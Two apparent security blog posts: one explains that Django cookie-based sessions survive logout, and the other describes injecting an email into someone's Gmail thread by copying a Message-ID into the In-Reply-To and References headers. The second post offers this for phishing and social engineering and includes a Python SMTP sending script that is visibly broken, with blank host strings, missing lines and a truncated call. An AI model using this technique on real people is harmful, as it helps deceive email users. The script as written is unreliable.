Security Vulnerability with Django Cookie-Based Sessions

UPDATE: Django updated their documentation to include a warning about this risk: “Unlike other session backends which keep a server-side record of each session and invalidate it when a user logs out, cookie-based sessions are not invalidated when a user logs out. Thus if an attacker steals a user’s cookie, he can use that cookie to login as that user even if the user logs out.”

OSVDB catalogued the vulnerability and Threatpost covered it in an article.


Django has a session invalidation security vulnerability like the Ruby on Rails vulnerability I wrote about here.

Django is a free and open source Web application framework that is written in Python. Django version 1.4 introduced cookie-based session storage and Django version 1.7 is currently under development.


Django provides options for how and where user session data is stored. One of those options is cookie-based storage, which stores all session data in the cookie and signs it.

Without access to the app’s code, detecting which session storage mechanism is in use is slightly harder than with the similar Rails vulnerability. With Django, the default name for a session cookie is “sessionid” regardless of whether the cookie stores only a session identifier or the complete session data hash. So, you’ll need to examine the value of the cookie to determine which session storage mechanism may be in use for a given application.

The Impact

When using Django cookie-based session storage in your Web app, if someone were to find, steal, or intercept a user’s cookie they could log into your website as that user even if that user had logged out.

The main difference from the Rails session security vulnerability is that Django does not use cookie-based sessions by default.

I found most developers are completely shocked to learn about this kind of behavior. I believe this is a risk that was written off without adequate documentation or warning.

Happy hacking! Email me with questions:


Injecting yourself into email threads without an invitation #partycrashing

You probably trust that emails within a thread belong together, right?

Injecting yourself into Gmail threads is like rudely butting into a conversation at a cocktail party. Here we’ll go over how, with two pieces of data, you can inject yourself into the existing email thread of a target person. While not earth-shattering information, this technique can perhaps be leveraged for social engineering, during a penetration test, or while on a phishing expedition.

You need to know the subject line and Message-ID of an email in the thread that you want to inject yourself into. Armed with these two, you can join in the threaded conversation from the outside, and a rushed or unobservant office worker may not notice that you do not belong in that conversation. The subject line is what you’re accustomed to setting when you write in a subject for an email. As it turns out, you are even able to get away with similar subject lines in Gmail: “test” and “Re: test” will both work in this case. Apparently there is some leeway here and other variants work as well. The Message-ID is a globally unique identifier of the digital message, is part of the email header, is typically not viewable to the user, and is automatically generated for the domain where the email was generated. For Gmail, that would be within the “” domain.

Obtain (by whatever your means) the Message-ID of an existing message in the target thread, and place it into both the “In-Reply-To” and “References” fields of the email header of an email that you will craft specially. For more information about the purpose of these two fields, read the full RFC here:

Now, I do not believe that you can edit email headers through Gmail’s Web interface or through a client such as Thunderbird, but here is a Python script that you can use to send email through a Gmail account you control to your target. This script has been configured for Gmail but can be modified to use other SMTP servers if you wish.

import os
import smtplib
import mimetypes
from email.MIMEMultipart import MIMEMultipart
from email.MIMEBase import MIMEBase
from email.MIMEText import MIMEText
from email.MIMEAudio import MIMEAudio
from email.MIMEImage import MIMEImage
from email.Encoders import encode_base64

def sendMail(yourEmail, yourPassword, subjectLine, bodyText,
  targetEmail, messageID, *attachmentFilePaths):
  gmailUser = yourEmail
  gmailPassword = yourPassword
  recipient = targetEmail
  msg = MIMEMultipart()
  msg['From'] = gmailUser
  msg['To'] = recipient
  msg['Subject'] = subjectLine
  msg['In-Reply-To'] = messageID
  msg['References'] = messageID
  for attachmentFilePath in attachmentFilePaths:
  mailServer = smtplib.SMTP('', 587)
  mailServer.login(gmailUser, gmailPassword)
  mailServer.sendmail(gmailUser, recipient, msg.as_string())
  print('Sent email to %s' % recipient)

def getAttachment(attachmentFilePath):
  contentType, encoding = mimetypes.guess_type(attachmentFilePath)
  if contentType is None or encoding is not None:
    contentType = 'application/octet-stream'
  mainType, subType = contentType.split('/', 1)
  file = open(attachmentFilePath, 'rb')
  if mainType == 'text':
    attachment = MIMEText(
  elif mainType == 'message':
    attachment = email.message_from_file(file)
  elif mainType == 'image':
    attachment = MIMEImage(,_subType=subType)
  elif mainType == 'audio':
    attachment = MIMEAudio(,_subType=subType)
    attachment = MIMEBase(mainType, subType)
  attachment.add_header('Content-Disposition', 'attachment',
  return attachment

if __name__ == "__main__":
#Edit the following arguments with your values
  sendMail("yourEmail", "yourPassword", "test",
    "Hello, thread.", "targetEmail",

The important take away from all this is that you can insert your email into a thread that you were not privy to in the first place, and you do not even have to send your message from an email address within the same domain as the recipient(s). Shout out to @baffles for pointing me to the correct parts of the RFC to focus on for this and for testing this out with me.

Caveats and things to note:

  • This has only really been tested briefly with Gmail
  • You can modify this script to supply multiple values to “References” but I do not know the pros and cons of doing so
  • How Message-ID is generated will be the subject of future research